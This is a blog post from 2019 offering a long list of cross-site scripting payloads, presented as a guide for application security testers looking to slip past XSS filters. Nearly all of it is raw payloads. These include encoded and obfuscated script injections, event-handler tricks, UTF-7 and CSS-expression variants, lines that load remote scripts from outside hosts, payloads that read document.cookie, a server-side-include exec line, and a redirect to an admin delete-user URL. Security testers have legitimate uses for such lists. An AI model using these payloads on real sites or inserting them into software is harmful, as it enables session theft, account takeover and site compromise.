More than 500 Payloads Collection of Cross Site Scripting (XSS)

January 11, 2019January 12, 2019 Shahrukh Rafeeq 0 Comments

Motive of this article is to providing application security testing professionals with a guide to assist in Cross Site Scripting testing. This lists a collection of Cross Site Scripting XSS attacks that can be used to bypass certain XSS defensive filters and good enough for burp suit. This is a Common XSS JavaScript injection give a good indication of whether or not an application is vulnerable to XSS.

<ScRipT>alert(“XSS”);</ScRipT>

“><script>alert(“XSS”)</script>

</script><script>alert(1)</script>

<scr<object>ipt>alert(1)</script>

<scr<script>ipt>alert(1)</script>

‘; alert(1);

‘)alert(1);//

<ScRiPt>alert(1)</sCriPt>

%3C

&lt

&LT

&LT;

&#60

&#060

&#0060

&#00060

&#000060

&#0000060

&#x3c

&#x03c

&#x003c

&#x0003c

&#x00003c

&#x000003c

&#x000003c;

&#X3c

&#X03c

&#X003c

&#X0003c

&#X00003c

&#X000003c

&#X3c;

&#X03c;

&#X003c;

&#X0003c;

&#X00003c;

&#X000003c;

&#x3C

&#x03C

&#x003C

&#x0003C

&#x00003C

&#x000003C

&#x000003C;

&#X3C

&#X03C

&#X003C

&#X0003C

&#X00003C

&#X000003C

&#X3C;

&#X03C;

&#X003C;

&#X0003C;

&#X00003C;

&#X000003C;

\x3c

\x3C

\u003c

\u003C

<input/onmouseover=”javaSCRIPT&colon;confirm(1)”

<sVg><scRipt %00>alert(1) {Opera}

<img/src=`%00` onerror=this.onerror=confirm(1)

<form><isindex formaction=”javascript&colon;confirm(1)”

<img src=`%00`&NewLine; onerror=alert(1)&NewLine;

<ScRipT 5-0*3+9/3=>prompt(1)</ScRipT giveanswerhere=?

"><h1/onmouseover=’\u0061lert(1)’>%00

<form><a href=”javascript:\u0061lert(1)”>X

</script><img/*%00/src=”worksinchrome&colon;prompt(1)”/%00*/onerror=’eval(src)’>

<a href=”data:application/x-x509-user-cert;&NewLine;base64&NewLine;,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==”	
>X</a

http://www.google<script .com>alert(document.location)</script

<a href=[]” onmouseover=prompt(1)//”>XYZ</a

<img/src=@  onerror = prompt(‘1’)

</style  ><script   :-(>/**/alert(document.location)/**/</script   🙁

</form><input type=”date” onfocus=”alert(1)”>

<///style///><span %2F onmousemove=’alert(1)’>SPAN

<img/src=’http://i.imgur.com/P8mL8.jpg’ onmouseover=&Tab;prompt(1)

"><svg><style>{-o-link-source&colon;'<body/onload=confirm(1)>’

<blink/ onmouseover=prompt(1)>OnMouseOver {Firefox & Opera}

<marquee onstart=’javascript:alert(1)’>^__^

<div/style=”width:expression(confirm(1))”>X</div> {IE7}

//<form/action=javascript:alert(document&period;cookie)><input/type=’submit’>//

/*iframe/src*/<iframe/src=”<iframe/src=@”/onload=prompt(1) /*iframe/src*/>

//|\\ <script //|\\ src=’https://dl.dropbox.com/u/13018058/js.js’> //|\\ </script //|\\

</font>/<svg><style>{src:'<style/onload=this.onload=confirm(1)>'</font>/</style>

</plaintext\></|\><plaintext/onmouseover=prompt(1)

</svg>”<svg><script ‘AQuickBrownFoxJumpsOverTheLazyDog’>alert(1) {Opera}

<var onmouseover=”prompt(1)”>On Mouse Over</var>

<a href=javascript&colon;alert(document&period;cookie)>Click Here</a>

<%<!–‘%><script>alert(1);</script –>

<input value=<><iframe/src=javascript:confirm(1)

http://www.<script>alert(1)</script .com

<math><a xlink:href=”//jsfiddle.net/t846h/”>click

<a href=”data:text/html;base64_,<svg/onload=\u0061l&#101%72t(1)>”>X</a

<body/onload=<!–>&#10alert(1)>

<img src ?itworksonchrome?\/onerror = alert(1)

<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaa aaaaaaaaaa href=j&#97v&#97script:&#97lert(1)>ClickMe

<div/onmouseover=’alert(1)’> style=”x:”>

<–`<img/src=` onerror=alert(1)> –!>

“><img src=x onerror=window.open(‘https://www.google.com/’);>

<form><button formaction=javascript&colon;alert(1)>CLICKME

<math><a xlink:href=”//jsfiddle.net/t846h/”>click

<a href=”data:text/html;blabla,&#60&#115&#99&#114&#105&#112&#116&#32&#115&#114&#99&#61&#34&#104&#116&#116&#112&#58&#47&#47&#115&#116&#101&#114&#110&#101&#102&#97&#109&#105&#108&#121&#46&#110&#101&#116&#47&#102&#111&#111&#46&#106&#115&#34&#62&#60&#47&#115&#99&#114&#105&#112&#116&#62&#8203″>Click Me</a>

<SCRIPT>String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 41)</SCRIPT>

‘;alert(String.fromCharCode(88,83,83))//’;alert(String.fromCharCode(88,83,83))//”;alert(String.fromCharCode(88,83,83))//”;alert(String.fromCharCode(88,83,83))//–></SCRIPT>”>’><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>

<IMG “””><SCRIPT>alert(“XSS”)</SCRIPT>”>

<<SCRIPT>alert(“XSS”);//<</SCRIPT>

%253cscript%253ealert(1)%253c/script%253e

“><s”%2b”cript>alert(document.cookie)</script>

foo<script>alert(1)</script>

<scr<script>ipt>alert(1)</scr</script>ipt>

<IMG SRC=”javascript:alert(‘XSS’)”

javascript:alert(“hellox worldss”)

<“‘;alert(String.fromCharCode(88,83,83))//\’;alert(String.fromCharCode(88,83,83))//”;alert(String.fromCharCode(88,83,83))//\”;alert(String.fromCharCode(88,83,83))//–></SCRIPT>”>’><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>

<SCRIPT a=”>” SRC=”http://ha.ckers.org/xss.js”></SCRIPT>

<SCRIPT a=”>” ” SRC=”http://ha.ckers.org/xss.js”></SCRIPT>

<SCRIPT “a=’>'” SRC=”http://ha.ckers.org/xss.js”></SCRIPT>

<SCRIPT a=”>’>” SRC=”http://ha.ckers.org/xss.js”></SCRIPT>

<SCRIPT>document.write(“<SCRI”);</SCRIPT>PT SRC=”http://ha.ckers.org/xss.js”></SCRIPT>

<<SCRIPT>alert(“XSS”);//<</SCRIPT>

‘;alert(String.fromCharCode(88,83,83))//\’;alert(String.fromCharCode(88,83,83))//”;alert(String.fromCharCode(88,83,83))//\”;alert(String.fromCharCode(88,83,83))//–></SCRIPT>”>’><SCRIPT>alert(String.fromCharCode(88,83,83))<?/SCRIPT>&submit.x=27&submit.y=9&cmd=search

0&q=’;alert(String.fromCharCode(88,83,83))//\’;alert%2?8String.fromCharCode(88,83,83))//”;alert(String.fromCharCode?(88,83,83))//\”;alert(String.fromCharCode(88,83,83)%?29//–></SCRIPT>”>’><SCRIPT>alert(String.fromCharCode(88,83%?2C83))</SCRIPT>&submit-frmGoogleWeb=Web+Search

<h1><font color=blue>hellox worldss</h1>

<form><button formaction=”javascript:alert(XSS)”>lol

<!–<img src=”–><img src=x onerror=alert(XSS)//”>

<![><img src=”]><img src=x onerror=alert(XSS)//”>

<? foo=”><script>alert(1)</script>”>

<! foo=”><script>alert(1)</script>”>

</ foo=”><script>alert(1)</script>”>

<? foo=”><x foo=’?><script>alert(1)</script>’>”>

<! foo=”[[[Inception]]”><x foo=”]foo><script>alert(1)</script>”>

<% foo><x foo=”%><script>alert(123)</script>”>

<div style=”font-family:’foo
;color:red;’;”>LOL

LOL<style>*{/*all*/color/*all*/:/*all*/red/*all*/;/[0]*IE,Safari*[0]/color:green;color:bl/*IE*/ue;}</style>

<SCRIPT>alert(/XSS/.source)</SCRIPT>

\\”;alert(‘XSS’);//

</TITLE><SCRIPT>alert(\”XSS\”);</SCRIPT>

<STYLE>@import’http://ha.ckers.org/xss.css’;</STYLE>

<META HTTP-EQUIV=\”Link\” Content=\”<http://ha.ckers.org/xss.css>; REL=stylesheet\”>

<STYLE>BODY{-moz-binding:url(\”http://ha.ckers.org/xssmoz.xml#xss\”)}</STYLE>

<STYLE>li {list-style-image: url(\”javascript:alert(‘XSS’)\”);}</STYLE><UL><LI>XSS

žscriptualert(EXSSE)ž/scriptu

<META HTTP-EQUIV=\”refresh\” CONTENT=\”0; URL=http://;URL=javascript:alert(‘XSS’);\”

<STYLE>@im\port’\ja\vasc\ript:alert(\”XSS\”)’;</STYLE>

exp/*<A STYLE=’no\xss:noxss(\”*//*\”);

xss:ex/*XSS*//*/*/pression(alert(\”XSS\”))’>

<STYLE TYPE=\”text/javascript\”>alert(‘XSS’);</STYLE>

<STYLE>.XSS{background-image:url(\”javascript:alert(‘XSS’)\”);}</STYLE><A CLASS=XSS></A>

<STYLE type=\”text/css\”>BODY{background:url(\”javascript:alert(‘XSS’)\”)}</STYLE>

<!–[if gte IE 4]>

<SCRIPT>alert(‘XSS’);</SCRIPT>

<![endif]–>

a=\”get\”;

b=\”URL(\\”\”;

c=\”javascript:\”;

d=\”alert(‘XSS’);\\”)\”;

eval(a+b+c+d);

</C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>

<XML ID=\”xss\”><I><B><IMG SRC=\”javas<!– –>cript:alert(‘XSS’)\”></B></I></XML>

<?xml:namespace prefix=\”t\” ns=\”urn:schemas-microsoft-com:time\”>

<?import namespace=\”t\” implementation=\”#default#time2\”>

<t:set attributeName=\”innerHTML\” to=\”XSS<SCRIPT DEFER>alert("XSS")</SCRIPT>\”>

</BODY></HTML>

<!–#exec cmd=\”/bin/echo ‘<SCR’\”–><!–#exec cmd=\”/bin/echo ‘IPT SRC=http://ha.ckers.org/xss.js></SCRIPT>’\”–>

<? echo(‘<SCR)’;

echo(‘IPT>alert(\”XSS\”)</SCRIPT>’); ?>

Redirect 302 /a.jpg http://victimsite.com/admin.asp&deleteuser

<META HTTP-EQUIV=\”Set-Cookie\” Content=\”USERID=<SCRIPT>alert(‘XSS’)</SCRIPT>\”>

<HEAD><META HTTP-EQUIV=\”CONTENT-TYPE\” CONTENT=\”text/html; charset=UTF-7\”> </HEAD>+ADw-SCRIPT+AD4-alert(‘XSS’);+ADw-/SCRIPT+AD4-

<SCRIPT a=\”>\” SRC=\”http://ha.ckers.org/xss.js\”></SCRIPT>

<SCRIPT =\”>\” SRC=\”http://ha.ckers.org/xss.js\”></SCRIPT>

<SCRIPT a=\”>\” ” SRC=\”http://ha.ckers.org/xss.js\”></SCRIPT>

<SCRIPT \”a=’>’\” SRC=\”http://ha.ckers.org/xss.js\”></SCRIPT>

<SCRIPT a=`>` SRC=\”http://ha.ckers.org/xss.js\”></SCRIPT>

<SCRIPT a=\”>’>\” SRC=\”http://ha.ckers.org/xss.js\”></SCRIPT>

<SCRIPT>document.write(\”<SCRI\”);</SCRIPT>PT SRC=\”http://ha.ckers.org/xss.js\”></SCRIPT>

<IMG SRC=\”javascript:alert(‘XSS’)\”

<<SCRIPT>alert(\”XSS\”);//<</SCRIPT>

perl -e ‘print \”<SCR\0IPT>alert(\\”XSS\\”)</SCR\0IPT>\”;’ > out

perl -e ‘print \”<IMG SRC=java\0script:alert(\\”XSS\\”)>\”;’ > out

<IMG \”\”\”><SCRIPT>alert(\”XSS\”)</SCRIPT>\”>

”;!–\”<XSS>=&{()}

‘;alert(String.fromCharCode(88,83,83))//\’;alert(String.fromCharCode(88,83,83))//\”;alert(String.fromCharCode(88,83,83))//\\”;alert(String.fromCharCode(88,83,83))//–></SCRIPT>\”>’><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>

”;!–“<XSS>=&{()}

<IMG “””><SCRIPT>alert(“XSS”)</SCRIPT>”>

<<SCRIPT>alert(“XSS”);//<</SCRIPT>

<SCRIPT>a=/XSS/alert(a.source)</SCRIPT>

\”;alert(‘XSS’);//

</TITLE><SCRIPT>alert(“XSS”);</SCRIPT>

¼script¾alert(¢XSS¢)¼/script¾

<STYLE>@im\port’\ja\vasc\ript:alert(“XSS”)’;</STYLE>

exp/*<A STYLE=’no\xss:noxss(“*//*”);xss:ex/*XSS*//*/*/pression(alert(“XSS”))’>

a=”get”;b=”URL(ja\””;c=”vascr”;d=”ipt:ale”;e=”rt(‘XSS’);\”)”;eval(a+b+c+d+e);

<HTML><BODY><?xml:namespace prefix=”t” ns=”urn:schemas-microsoft-com:time”><?import namespace=”t” implementation=”#default#time2″><t:set attributeName=”innerHTML” to=”XSS<SCRIPT DEFER>alert("XSS")</SCRIPT>”></BODY></HTML>

<SCRIPT>document.write(“<SCRI”);</SCRIPT>PT SRC=”http://ha.ckers.org/xss.js”></SCRIPT>

<form id=”test” /><button form=”test” formaction=”javascript:alert(123)”>TESTHTML5FORMACTION

<form><button formaction=”javascript:alert(123)”>crosssitespt

<!–<img src=”–><img src=x onerror=alert(123)//”>

<? foo=”><script>alert(1)</script>”>

<! foo=”><script>alert(1)</script>”>

</ foo=”><script>alert(1)</script>”>

+ADw-script+AD4-alert(document.location)+ADw-/script+AD4-

%2BADw-script+AD4-alert(document.location)%2BADw-/script%2BAD4-

+ACIAPgA8-script+AD4-alert(document.location)+ADw-/script+AD4APAAi-

%2BACIAPgA8-script%2BAD4-alert%28document.location%29%2BADw-%2Fscript%2BAD4APAAi-

%253cscript%253ealert(document.cookie)%253c/script%253e

“><s”%2b”cript>alert(document.cookie)</script>

“><ScRiPt>alert(document.cookie)</script>

“><<script>alert(document.cookie);//<</script>

foo<script>alert(document.cookie)</script>

<scr<script>ipt>alert(document.cookie)</scr</script>ipt>

%22/%3E%3CBODY%20onload=’document.write(%22%3Cs%22%2b%22cript%20src=http://my.box.com/xss.js%3E%3C/script%3E%22)’%3E

‘; alert(document.cookie); var foo=’

foo\’; alert(document.cookie);//’;

</script><script >alert(document.cookie)</script>

“><script>alert(String.fromCharCode(66, 108, 65, 99, 75, 73, 99, 101))</script>

Shahrukh Rafeeq

I’m an Entrepreneur, Freelance Security Consultant, Bug Hunter having years of experience with a deep interest in InfoSec Industry. I love to speak and write about web and mobile application pen-testing, bug bounty. You can reach me at

Shahrukh Rafeeq

You May Also Like

Google Dorks for Cross-site Scripting (XSS)

More than 3000 Google Dorks – 2019 for SQL Injection

More than 500 Payloads Collection of Cross Site Scripting (XSS)

Leave a Reply Cancel reply